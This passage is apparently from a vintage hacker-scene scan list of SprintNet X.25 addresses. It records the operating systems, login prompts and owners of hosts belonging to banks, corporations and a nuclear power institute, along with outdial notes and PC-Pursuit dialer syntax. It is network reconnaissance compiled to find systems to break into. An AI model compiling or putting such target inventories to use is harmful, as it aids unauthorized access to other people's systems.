617 712    Prime       PRIMENET 23.3.0 PEANUT
617 713    Prime       PRIMENET 23.3.0 PEACH
617 714    Prime       PRIMENET 23.3.0 NASH
617 715    Peime       PRIMENET 23.2.0 MD-BHM
617 717    Prime       PRIMENET 23.1.0 ETHEL
617 719    Prime       PRIMENET 22.1.1.R11 PHILLY
617 720    Prime       PRIMENET 22.1.2 CAMPHI
617 723    Prime       PRIMENET 23.3.0 MD.NJ
617 724    Prime       PRIMENET 23.3.0 NYMCS
617 726    Prime       PRIMENET 23.3.0 NJCENT
617 727    Prime       PRIMENET 22.0.1v NJPCS
617 750    Prime       PRIMENET 23.2.0 PBN75
617 752    Prime       PRIMENET 23.2.0 PBN68
617 850    Prime       PRIMENET 22.1.4 MD-CHI
617 852    Prime       PRIMENET 23.3.0 CS-LP1
617 853    Prime       PRIMENET 23.2.0 MD.SL1
617 854    Prime       PRIMENET 23.2.0 MD.MKW
617 855    Prime       PRIMENET 23.0.0 TRNGC
617 856    Prime       PRIMENET 23.2.0 CS-CHI
617 857    Prime       PRIMENET 22.1.0 CS-OAK
617 861    Prime       PRIMENET 22.1.3 PTCDET
617 862    Prime       PRIMENET 23.3.0 DRBN1
617 863    Prime       PRIMENET 23.1.0 CSTROY
617 864    Prime       PRIMENET 23.3.0 CS.DET
617 865    Prime       PRIMENET 23.1.0 MD.DET
617 868    Prime       PRIMENET 23.2.0 MD.GR
617 869    Prime       PRIMENET 22.1.1.R11 MD.CIN
617 870    Prime       PRIMENET 23.2.0 CS.IND
617 871    Prime       PRIMENET 22.1.3 MD.IND
617 872    Prime       PRIMENET 23.2.0 MD-PIT
617 874    Prime       PRIMENET 22.1.0 PITTCS
617 875    Prime       PRIMENET 22.1.1.r35 MD-CLE
617 902    Prime       PRIMENET 22.1.1.R11 MD.HOU
617 908    Prime       PRIMENET 23.2.0 WMCS
617 910    Prime       PRIMENET 23.2.0 CSWDC
617 911    Prime       PRIMENET 23.2.0 VIENNA
617 912    Prime       PRIMENET 23.2.0 BALT
617 915    Prime       PRIMENET 23.0.0 WDCRTS
617 916    Prime       PRIMENET 23.0.0 CAP1
617 928    Prime       PRIMENET 23.3.0 CS.HOU
617 930    Prime       PRIMENET 23.3.0 MD.AUS
617 931    Prime       PRIMENET 23.3.0 CS-SCR
617 932    Prime       PRIMENET 23.2.0.SCH CS.CS
617 936    Prime       PRIMENET 23.2.0 MD.DAL
617 956    Prime       PRIMENET 22.1.0 RELAY
617 957    Prime       PRIMENET 22.1.3 ZULE
617 958    Prime       PRIMENET 23.1.0 EDOC1
617 962    Prime       PRIMENET 23.3.0.R20 PBN49
617 965    Prime       PRIMENET 22.0.3vA BDSE
617 966    Prime       PRIMENET 22.0.3vA BDST
617 978    Unix
617 980    Prime       PRIMENET 22.1.1.R28 WUFPAK
617 986
617 991    Prime       PRIMENET 23.2.0 PBN64
617 995    Prime       PRIMENET 23.2.0.R3 ATC54
617 998    Prime       PRIMENET 23.0.0 TRNGB
617 1030 *
617 1031 *
617 1033 $             CONNECTED TO PACKET/94
617 1035 $             T.S.S.G
617 1054 $             Boston Safe Deposit and Trust Company
617 1055   HP-3000
617 1075
617 1099   Unix SysV   X.29 Terminal Service
617 1202   Prime       PRIMENET 22.0.2 CSPLAN
617 1204   Prime       PRIMENET 23.2.0 PBN70
617 1206   Prime       PRIMENET 23.2.0 PBN69
617 1207   Prime       PRIMENET 23.2.0 PBN73
617 1210   Prime       PRIMENET 23.2.0 PBN74
617 1211   Unix SysV
617 1231               Primetec Leasing
617 1235   Prime       PRIMENET 23.2.0 PBN45
617 1260               dynapac: multi-pad.25
617 1261               dynapac: multi-pad.25
617 1262               dynapac: multi-pad.25
617 1263               dynapac: multi-pad.25
617 1264               dynapac: multi-pad.25
617 1266               dynapac: multi-pad.25
617 1267               dynapac: multi-pad.25
617 1300   VAX/VMS     Username:
617 1301   VAX/VMS     Username:
617 1302               **** Invalid sign-on, please try again ****
617 1303   VAX/VMS     Username:
617 1304               **** Invalid sign-on, please try again ****
617 1305               **** Invalid sign-on, please try again ****
617 1306               **** Invalid sign-on, please try again ****
617 1307               **** Invalid sign-on, please try again ****
617 1320   VAX/VMS     Username:
617 1321               **** Invalid sign-on, please try again ****
617 1322               **** Invalid sign-on, please try again ****
617 1323               **** Invalid sign-on, please try again ****
617 1324               **** Invalid sign-on, please try again ****
617 1331 *
617 1333 *
617 1334 *
617 1335 *
617 1336 *
617 1337 *
617 1338 *
617 1339 *
617 1340 *
617 1341 *
617 1350 *
617 1351 *
617 1355 *
617 1356 *
617 1365   VAX/VMS     Username:
617 1368   ???         Username(First Name):
617 1371   VAX/VMS     Username:
617 1379 *
617 1441 *
617 1442 *
617 1455 *
617 1456 *




619  -  California  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
619 38
619 41     VM/CMS
619 51   *
619 234  $ VAX/VMS     Hightower MicroVAX II (HIGHH1)
619 258  *
619 270  $ VAX/VMS     Daniels Headend Node MicroVAX 3100-80 (DANLH1)




626  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
626 1000 $ Prime
626 1101 $ VAX/VMS     DEV2
626 1110 $ VAX/VMS     ANT1
626 1111 $ VAX/VMS     ANT2
626 1120 $ VAX/VMS     OAK1
626 1130 $ VAX/VMS     SRA1
626 1131 $ VAX/VMS     SRA2
626 1160 $ VAX/VMS     SFD1
626 2000 $ Prime




669  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
669 25   $             USER ID
669 50   $             USER ID
669 75   $             USER ID




703  -  Virginia  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
703 40     VAX/VMS
703 41     VAX/VMS
703 44     AOS         Project HOPE
703 55   *
703 56   *
703 57                 SELECT A SERVICE: TSO WYLBUR CMS PCI
703 137  *
703 157                ZA60001  - COM-PLETE IS ACTIVE
703 160    VAX/VMS




708  -  Illinois  Scanned: [0 - 1000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
708 34                 USER ID
708 50                 Please enter authorized ID:
708 54   $ VAX/VMS     Duff & Phelps Corporate VAX 8350 (CO)
708 66   $             CONNECTED TO PACKET/74
708 70     VAX/VMS     System LPCOMA
708 133    VAX/VMS
708 138  *
708 142                Enter user name:
708 146  *
708 152                ORBIT
708 153                ORBIT
708 154                ORBIT
708 155                ORBIT
708 156                ORBIT
708 157.4              Orbit PAD
708 157.5              Maxwell Onlines' File Transfer BBS
708 158                ncp02> enter system id (brs)
708 161                CONNECTED TO PACKET/94
708 171    Unix/SysV   FTD BBS (Flowers..)
708 178    Unix/SysV   FTD BBS
708 237    Prime       PRIMENET 22.1.3 DZ-CHI
708 240                USER ID
708 241                USER ID
708 242                USER ID
708 243                USER ID
708 244                USER ID
708 245                USER ID
708 246                USER ID
708 247                USER ID
708 248                USER ID
708 249                USER ID
708 250                USER ID
708 251                USER ID
708 252                USER ID
708 253                USER ID
708 254                USER ID
708 260                ORBIT
708 261                ncp02> enter system id  (brs)
708 272  $ DTC         'H' or '?' for  help
708 278  *
708 340                ORBIT
708 341                ORBIT
708 343                ORBIT
708 346                ENTER APPLID: V=VTAM, A=APPLA, B-APPLB, C=APPLC
708 1030               ORBIT
708 1031               ORBIT
708 1032               ORBIT
708 1033               ORBIT
708 1034               ORBIT




711  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
711 15     Prime




714  -  California  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
714 4    $             outdial (714)
714 23   $             outdial (714)
714 24   $             outdial (714)
714 50     Unix        atma_1
714 55   $ HP-3000     HP957.MIS.FUJITSU
714 102  $             ? \
714 119  $             ?  \ outdials? (barred to my pad)
714 121  $             ?  /
714 124  $             ? /
714 130  $             MMSA --- ENTER APPLICATION ID :
714 131    Prime       PRIMENET 22.1.2 CAJH
714 133  *
714 134
714 138  $             MMSA --- ENTER APPLICATION ID :
714 139  $             MMSA --- ENTER APPLICATION ID :
714 210  $             outdial (global)
714 213  $             ?
714 236  *
714 242    VM/CMS
714 250  *




716  -  New York  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
716 50
716 140
716 141  *
716 232    TSO         Bausch and Lomb  Data Center
716 233    TSO         Bausch and Lomb  Data Center
716 234    TSO         B + L  DATA CENTER SERVICES
716 235    TSO         B + L  DATA CENTER SERVICES
716 236    TSO         B + L  DATA CENTER SERVICES
716 237    TSO         B + L  DATA CENTER SERVICES
716 238    TSO         B + L  DATA CENTER SERVICES
716 239    TSO         B + L  DATA CENTER SERVICES
716 240    TSO         B + L  DATA CENTER SERVICES
716 241    TSO         B + L  DATA CENTER SERVICES
716 242    TSO         B + L  DATA CENTER SERVICES
716 603    TSO         B + L  DATA CENTER SERVICES
716 605    TSO         B + L  DATA CENTER SERVICES




717  -  Pennsylvania  Scanned: [0 - 500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
717 24   *
717 31
717 32   *
717 33   *
717 34   *
717 44
717 45    VOS          (use "list_users")
717 46    VOS
717 47                 Woolworth Management Information Center X.25
717 48                 Woolworth Management Information Center X.25
717 51                 Woolworth Management Information Center Multi-System
717 54                 $TM/ID:      (Sprint Address Directory)
717 55                 $TM/ID:
717 56                 $TM/ID:
717 150 *
717 160 *
717 161 *
717 162 *
717 163 *
717 234 $ HP-3000      hello field.support
717 242 $
717 243                CONNECTED TO PACKET/400




747  -  Boeing  Scanned: [N/A]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
747        Note: All addresses in this prefix pass through a network
                 security validator. I was unable to get passed it and
                 unable to scan this prefix.

                 Network validations as follows:

                 ENTER USERID>
                 ENTER PASSWORD>
                 ENTER SERVICE NAME>
                 INVALID USER IDENTIFICATION

                 After too many attempts, you get this cheerful message:

                 NOTICE!!!   This is a private network.  It is
                 restricted to authorized users only.  If you do
                 not have authorization, you are warned to
                 disconnect at once.  Actual or attempted use,
                 access, communication or examination by
                 unauthorized persons will result in criminal
                 and civil prosecution to the full extent of
                 the law.

                 If you require assistance in the use of this
                 network or access to this network, please call:
                                                    206-865-7168
                                      if no answer  206-234-0911






755  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
755 1001 $ Prime
755 1002 $ Prime
755 1003 $ Prime
755 1004 $ Prime
755 1012 $             MHP201A IUX0306   APPLICATION:
755 1014 $             MHP201A LUX0502   APPLICATION:
755 1020 $
755 1023 $             MHP201A ITVG0182  APPLICATION:
755 1025 $             MHP201A ITVG0182  APPLICATION:




757  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
757 120                (echo)
757 126                MSG10-RJRT TERMINAL-ID:GSSCXB61 IS NOW IN SESSION




784  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
784 11000 $            Operator:





787  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
787 0      Prime
787 1      Prime
787 2      Prime
787 10001$
787 50001              USER ID-->    (diverted for network validation)
787 50002$             Enter profile ID:
787 50003$
787 50005
787 50006$
787 70001
787 70002$
787 90001  Prime
787 90003$
787 90006  Prime       PRIMENET 23.2.0v.PSWI STH-A
787 90007$
787 90008  CRYPTO      ENTER "IDX" OR "ID" AND USER ID -->
787 90012
787 90014  VAX/VMS
787 90015$             USER ID-->
787 90016$
787 90018$
787 90023$
787 90025$ VAX/VMS      V{lkommen...
787 90026$              access barred




789  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
789 11000  Prime




801  -  Utah  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
801 25                 Wasatch System.
801 26                 Wasatch System.
801 27                 Wasatch System.
801 54   $ VAX/VMS     WELCOME TO SOLO - Unathorized use prohibited
801 250                ID?>
801 260
801 360  *
801 362




804  -  Virginia  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
804 35     VAX/VMS
804 50   *
804 153
804 241  $             CONNECTED TO PACKET/74
804 242  *
804 243  *
804 244  *
804 245  *
804 256                CONNECTED TO PACKET/94
804 261  *
804 263  *
804 264  *




805  -  California  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
805 50     VAX/VMS
805 51     VAX/VMS
805 52     VAX/VMS
805 150    Prime       PRIMENET 22.0.1 MBM
805 230  $




810  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
810 26   *




811  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
811 13.12              *
811 13.16  Unix/SysV
811 15   *
811 17   $ HP-3000
811 21   $ Unix
811 22   $ Unix
811 24   $ Unix
811 25                 TACL 1>
811 27.18  Unix/SysV
811 27.19  Unix/SysV
811 43.14  Unix/SysV
811 43.15  Unix/SysV
811 67
811 68
811 76.18  Unix/SysV   Highlands VMS A login:
811 76.19  DACS1       (try 'help' - tons of cmds available)
811 84.19              *   stat==STATUS STATISTICS?
811 85.2               *
811 141
811 142
811 150.10             *
811 315
811 316
811 411                MHP201A UEVT20U0
811 412                BA
811 413                @@
811 414                @@
811 415




813  -  Florida  Scanned: [0 - 1000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
813 20   *
813 21   *
813 48   *
813 52   $             Price Waterhouse
813 53   *
813 55   $             Price Waterhouse
813 59   $             Price Waterhouse National Admin Center
813 73     VM/CMS
813 74                 $$ 4200 MODEL:
813 124  *
813 138  *
813 143A               IBM Information Services.
813 147A               IBM Information Services.
813 149  *
813 151  $             Price Waterhouse
813 153  *
813 154  *
813 172A               IBM Information Services.
813 174A               IBM Information Services, Information Network
813 237  *
813 240
813 248
813 261  *
813 266A               IBM Information Services.
813 267A               IBM Information Services.
813 269    VAX/VMS
813 270    VAX/VMS
813 271                Access Code:
813 272    Prime
813 277                U#=
813 330  *
813 333
813 352
813 358                USER ID
813 377
813 433                USER ID
813 434                USER ID
813 436                U#=
813 438    VAX/VMS
813 450
813 456                USER ID
813 457                USER ID
813 458                USER ID
813 459                USER ID
813 460                USER ID
813 461                USER ID
813 465                USER ID
813 466                USER ID
813 467                USER ID
813 468                USER ID
813 469                USER ID
813 470                USER ID
813 471                USER ID
813 472                USER ID
813 660
813 1330 *
813 1340 *




814  -  Pennsylvania  Scanned: [0 - 200]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
814 50     Prime       PRIMENET 23.2.0.R39 SYSA
814 130  *




816  -  Missouri  Scanned: [0 - 1000 & various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
816 31   *
816 36
816 179  *
816 231    VAX/VMS
816 237    VAX/VMS
816 238    VAX/VMS
816 258  *
816 259  *
816 341
816 356  *
816 358                CONNECTED TO PACKET/94
816 359                CONNECTED TO PACKET/94
816 364  *
816 434
816 442  *
816 444  *
816 447  *
816 450    VAX/VMS
816 455
816 456
816 462  *
816 479  *
816 1041 $             (echo)
816 1042 $
816 1045 $
816 1046 $
816 1059 *
816 1058 *
816 1300   Major BBS   WELCOME TO THE OASIS BBS - NODE 1
816 90031*
816 90032*
816 90038
816 90042  VAX/VMS     #3MRPGWY




818  -  California  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
818 21   *
818 30   *




834  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
834 10003  VAX/VMS
834 10004  VAX/VMS
834 10005  VAX/VMS
834 10006  VAX/VMS
834 10007  VAX/VMS
834 10050 through 10099 are all VAXes
834 10100  Unix        BIX -- ttyx1c, 34101 (Byte Information eXchange)
834 10101 through 10999 are all VAXes
834 20005  Prime       PRIMENET 20.2.7 IREX
834 20009              MHP1201I TERMINAL CONNECTED TO PACKET/400
834 20201              (no response)
834 20202
834 20203
834 20204
834 20205




840-849  -  unknwon  Scanned:[N/A]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
840        Note: All these prefixes except 845 pass through Sprint's
841              TAMS Network validation. I was unable to get passed this
842              to scan. These addresses are only left in for the sake of
843              completeness.
844
845      *       845 seems to be disabled.
846
847              Network validation as follows:
848
849              YOUR CALL HAS BEEN DIVERTED FOR NETWORK USER VALIDATION.
                 USER ID :
                 PASSWORD :
                 BH:INVALID USER ID OR PASSWORD.





890-895  -  unknown  Scanned:[N/A]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
890      $ Note: none of these addresses accept collect connections,
891      $       and all of them pass through some sort of network
892      $       validation. I was unable to get past this, and scan
893      $       them. These are only left in for the sake of completeness.
894      $
895      $       Network validation as follows:

                 ADTN USER ID:
                 ADTN PASSWORD:




909  -  SprintNet  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
909 3    $             SprintNet Pad
909 6
909 8      Prime
909 9      Prime
909 10     Prime
909 12     Prime
909 13
909 14                 SprintNet Pad
909 18
909 18.11              DJ
909 18.13              CARL
909 18.14              APPLE
909 18.15              GTEES
909 18.16              SONIC
909 18.17              NLM
909 18.18              ECSBBDS
909 18.19              ECSDIRE
909 18.20              ECSDREV
909 18.22              PLANETM
909 18.23              PLANDIR
909 18.24              SCANDIR
909 18.25              SCANECS
909 18.26              GRASSRT
909 18.27              GABST
909 18.28              INPLAND
909 18.29              INPLANM
909 18.30              ECHO
909 18.31              FARS
909 18.33              ACTB
909 18.34              OAG
909 18.35              CAPLANM
909 18.38              PLANPBB
909 18.39              DOAG
909 18.40              ACSDB
909 18.41              TOP
909 18.42              PAGES
909 18.43              CHEMJOB
909 18.44              OHPLANM
909 18.45              OHPLAND
909 18.46              ILPLANM
909 18.47              ILPLAND
909 18.48              GWN
909 18.49              CHEMREF
909 18.50              BOREAL
909 18.51              COMPETE
909 18.52              SAMI
909 18.53              UTINFO
909 18.54              KWIC
909 18.55              GRAD
909 18.56              SYM
909 18.57              CONDO
909 18.58              ISTHMUS
909 18.59              NETWRKS
909 18.70              PLANOSA
909 18.71              GROUP
909 18.72              CMADR
909 18.73              NEWS
909 18.74              IEEEDB
909 18.75              XDATA
909 18.76              LOCAL
909 18.77              CAPLAND
909 18.78              ERC
909 18.79              SEAGRAN
909 18.80              NSSDC
909 18.83              COLD
909 18.84              GEOREF
909 18.85              NTIS
909 18.86              CURRENT
909 18.87              SABRE
909 18.88              ARCTIC
909 18.89              ECS
909 23     Prime
909 26     Prime
909 27     Prime
909 33   $             (not from this DTE)
909 38                 User name?
909 39     Prime
909 44     Prime
909 49                 USER ID
909 51                 Your call cannot be completed (unknown destination).
909 52                 Your call cannot be completed (unknown destination).
909 53                 User name?
909 54
909 55                 USER ID
909 58
909 58
909 62                 User name?
909 63                 User name?
909 65                 User name?
909 77     Prime
909 79                 MHP201A XLU76001  * VERSION 6.1.3 *
909 82     Prime
909 90     Prime
909 92     Prime
909 94     Prime
909 95     Prime
909 97     Prime
909 98     Prime       Please login [CMOS]:
909 100    Prime
909 103                TELENET ASYNC TO 3270 SERVICE
909 104                TELENET ASYNC TO 3270 SERVICE
909 107  *
909 116    Prime
909 117    Prime
909 121
909 123                User name?
909 125
909 126
909 130    Prime
909 131    Prime
909 136    Prime
909 137    Prime
909 139    Prime
909 140                TACL 1>
909 141    Prime
909 143    Prime
909 144    Prime
909 146                User name?
909 147                User name?
909 148                User name?
909 149                User name?
909 151
909 153                TACL 1>
909 155                User name?
909 158                User name?
909 159                User name?
909 160                User name?
909 161                User name?
909 162                User name?
909 165                User name?
909 167                TACL 1>
909 168                User name?
909 171                TELENET ASYNC TO 3270 SERVICE
909 172                TELENET ASYNC TO 3270 SERVICE
909 173                User name?
909 176    Prime
909 178                USER ID
909 179                USER ID
909 184    Prime
909 205    Prime
909 206    Prime
909 212    Prime       Please login [S212]:
909 235    Prime       Please Login [S235]:
909 236    Prime       Please Login [S235]:
909 239    Prime
909 302    Prime       Please login [S302]:
909 331  *
909 352                !LOAD AND FUNCTION TESTER
909 353                !LOAD AND FUNCTION TESTER
909 354                !LOAD AND FUNCTION TESTER
909 355                !LOAD AND FUNCTION TESTER
909 400                User name?
909 401                User name?
909 402    Unix        DG/UX Release 4.31. AViiON (tpx1b)
909 403                User name?
909 404                User name?
909 406                User name?
909 407                User name?
909 408                User name?
909 409                User name?
909 500    Prime
909 501    Prime
909 502    Prime
909 503    Prime
909 555    Unix        DG/UX  (joker)
909 615    Prime
909 623                User Name?
909 626                User name?
909 627                User name?
909 628                User name?
909 629                User name?
909 630                User name?
909 631                PC-Pursuit BBS
909 640                User name?
909 641                User name?
909 642                User name?
909 643                User name?
909 644    Unix        X.29 Terminal Service (courts)
909 645                User name?
909 649
909 650                User name?
909 651                User name?
909 652    Unix        X.29 Terminal Service (courts)
909 656                REJECTING 00 00
909 661
909 751                SPRINT EASTERN REGION NETWORK
909 761                User name?
909 762                User name?
909 763                User name?
909 764                TELENET ASYNC TO 3270 SERVICE
909 767                SPRINT EASTERN REGION NETWORK
909 769
909 770    Unix        X.29 Terminal Service (fan2)
909 772    Prime
909 776    Unix        DG/UX Release 4.31. AViiON (tpx1b)
909 777                TELENET ASYNC TO 3270 SERVICE
909 779                TELENET ASYNC TO 3270 SERVICE
909 784                TELENET ASYNC TO 3270 SERVICE
909 798    Prime       Please login [S798]
909 800                User name? help
909 801    Unix        DG/UX Release 4.31. AViiON (tpx1b)
909 805                User name?
909 806                Your call cannot be completed (unknown destination).
909 811    Unix        DG/UX Release 4.31. AViiON (tpx1b)
909 813                User name?
909 814                User name?
909 816                User name?
909 817                User name?
909 818                User name?
909 819                User name?
909 822                User name?
909 823                User name?
909 824                User name?
909 828                User name?
909 830                User name?
909 831                User name?
909 840                User name?
909 841                User name?
909 842                User name?
909 843                User name?
909 844                User name?
909 845                User name?
909 846                Your call cannot be completed (unknown destination).
909 847
909 849    Unix        X.29 Terminal Service
909 900    Prime
909 901    Prime
909 2070   Prime       Please Login [S235]:
909 2075   Prime       Please login [S2075]:
909 2080   Prime       Please login [CMOS]:
909 2086   Unix        DG/UX  (iceman)
909 2090   Prime       Please login [S798]
909 2091   Prime
909 2092   Prime




910  -  SprintNet  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
910 100    Prime
910 101    Prime
910 200    Prime
910 400    Prime
910 401    Prime
910 500    Prime
910 501    Prime
910 503    Prime       Please Login.
910 504    Prime       Please Login.
910 600    Prime
910 601    Prime




920  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
920 102                INSTITUTE OF NUCLEAR POWER OPERATIONS
920 103                INSTITUTE OF NUCLEAR POWER OPERATIONS
920 104                You are now connected to the computer. (16)
920 105                INSTITUTE OF NUCLEAR POWER OPERATIONS
920 106                You are now connected to the computer. (16)
920 107                You are now connected to the computer. (16)




933  -  unknown  Scanned: [various]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
933 10000  Unix        DG/UX Release 4.32. AViiON (atlantic)
                       Note: all other addr's after 1000 = BUSY!




Mnemonic Addresses  Scanned: N/A

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
APPLE      Unix        4.3 BSD UNIX (apple.com)
BCS                    ACCESS TO THIS ADDRESS NOT PERMITTED.
BETA                   (hangs)
BIX        Unix        Welcome to BIX -- ttyx11c, 34101
BRS                    ENTER BRS PASSWORD
CCC02                  GOOD DAY, PLEASE ENTER YOUR ID NUMBER
CCC03                  GOOD DAY, PLEASE ENTER YOUR ID NUMBER
CLARIONET  Major BBS   Userid : new
CMS                    enter a for astra
COM                    NOT REACHABLE 05 E6
CONTEL                 GTE Contel DUAT System (airplane stuff)
COS                    enter a for astra
D41        Prime       Primecom Network 19.4Q.111 System 41
D42        Prime       Primecom Network 19.4Q.111 System 42
D43        Prime       Primecom Network 19.4Q.111 System 43
D44        Prime       Primecom Network 19.4Q.111 System 44
D46        Prime       Primecom Network 19.4Q.111 System 46
D52        Prime       Primecom Network 19.4Q.111 System 52
D56        Prime       Primecom Network 18.4Y System 56
D57        Prime       Primecom Network 19.4Q.111 System 57
D61        Prime       Primecom Network 19.4Q.111 System 31
D64        Prime       Primecom Network 19.4Q.111 System 64
DELPHI     VAX/VMS     Username:
DIALOG                 Dialog Information Services
DIR
DOW                    WHAT SERVICE PLEASE????
DUAT                   GTE Contel DUAT System
DUNS                   Dunsnet (D&B)
EIES       Unix        HP-UX ciathp A.B7.00 U 9000/835
FAR                    Please enter your ID number:
FED                    REJECTING 00 E8
GOLD     $
GTEMAIL                SprintNet Directory
INFO                   Your call cannot be completed (unknown destination).
IRIS                   NOT REACHABLE 05 E6
ITI        VAX/VMS     Usuario :
KIS                    ACCESS TO THIS ADDRESS NOT PERMITTED.
LEXIS                  Lexis and Nexis
MAIL                   SprintNet Directory
META       Unix        tmn!login:
MMM                    USER ID
MUNI                   ACCESS TO THIS ADDRESS NOT PERMITTED.
NAS                    PLEASE ENTER  LOGIN
NASA
NET        Prime       NewsNet
NETX       SNPBBS      Telenet's NETXBBS (Old PCP/New Buisnesscall bbs?)
NLM                    PLEASE ENTER  LOGIN
NSF                    ACCESS TO THIS ADDRESS NOT PERMITTED.
OAG                    PLEASE ENTER SUBSCRIBERID;PASSWORD
OLS                    NOT OPERATING 09 00
ONLINE     VOS         Please login
ORBIT                  ENTER ORBIT USERID
PDN        Major BBS   Public Data Network (BBS)  User-ID? new
PLASPEC    Unix
PLAY     $
PORTAL                 Portal Communications Company.
PSINET   $
PURSUIT    SNPBBS      PC-Pursuit BBS
QUICK                  PLEASE ENTER YOUR BMG USERID  :
SIS        NOS         CDCNET
SPR                    REMOTE PROCEDURE ERROR 11 51
STK1                   ACCESS TO THIS ADDRESS NOT PERMITTED.
STK2                   ACCESS TO THIS ADDRESS NOT PERMITTED.
STK3                   ACCESS TO THIS ADDRESS NOT PERMITTED.
TELEX                  User name?
TELEMAIL               User name?
TPE      $ Major BBS   (adult chat/bbs)  Member-ID? new
TRACK    $
TRW                    User name?
UNISYS                 ACCESS TO THIS ADDRESS NOT PERMITTED.
USIBM
VONS                   USER ID
VUTEXT                 VU/TEXT
WARNER                 ACCESS TO THIS ADDRESS NOT PERMITTED.
WESTLAW                ENTER ID
ZIFF                   **** Invalid sign-on, please try again ****



PC-Pursuit Dialers
~~~~~~~~~~~~~~~~~~
Usage:  C D/<dialer>/<baud>,<nui>,<password>  (Note:  bauds are 3, 12, or 24)

NPA  Dialer
~~  ~~~~~~
313  MIAAR
404  GAATL
512  TXAUS
617  MABOS
312  ILCHI
708  ILCHI (1-708+num)
815  ILCHI (1-815+num)
216  OHCLE
714  CACOL
614  OHCOL
214  TXDAL
817  TXDAL (817+num)
303  CODEN
313  MIDET
818  CAGLE
310  CAGLE (1-310+num)
213  CAGLE (1-213+num)
203  CTHAR
516  NYHEM
713  TXHOU
317  ININ12
317  ININ24
816  MOKCI
913  MOKCI
213  CALAN
310  CALAN (1-310+num)
818  CALAN (1-818+num)
305  FLMIA
414  WIMIL
612  MNMIN
201  NJNEW
908  NJNEW (1-908+num)
901  TNMEM
601  TNMEM (1-601+num)
908  NJNBR
201  NJNBR (1-201+num)
504  LANOR
212  NYNYO
516  NYNYO (1-516+num)
718  NYNYO (1-718+num)
914  NYNYO (1-914+num)
415  CAOAK (1-415+num)
510  CAOAK
407  FLORL
415  CAPAL
408  CAPAL (1-408+num)
510  CAPAL (1-510+num)
215  PAPHI
602  AZPHO
412  PAPIT
503  ORPOR
919  NCRTP
916  CASAC
801  UTSLC
619  CASDI
415  CASFA
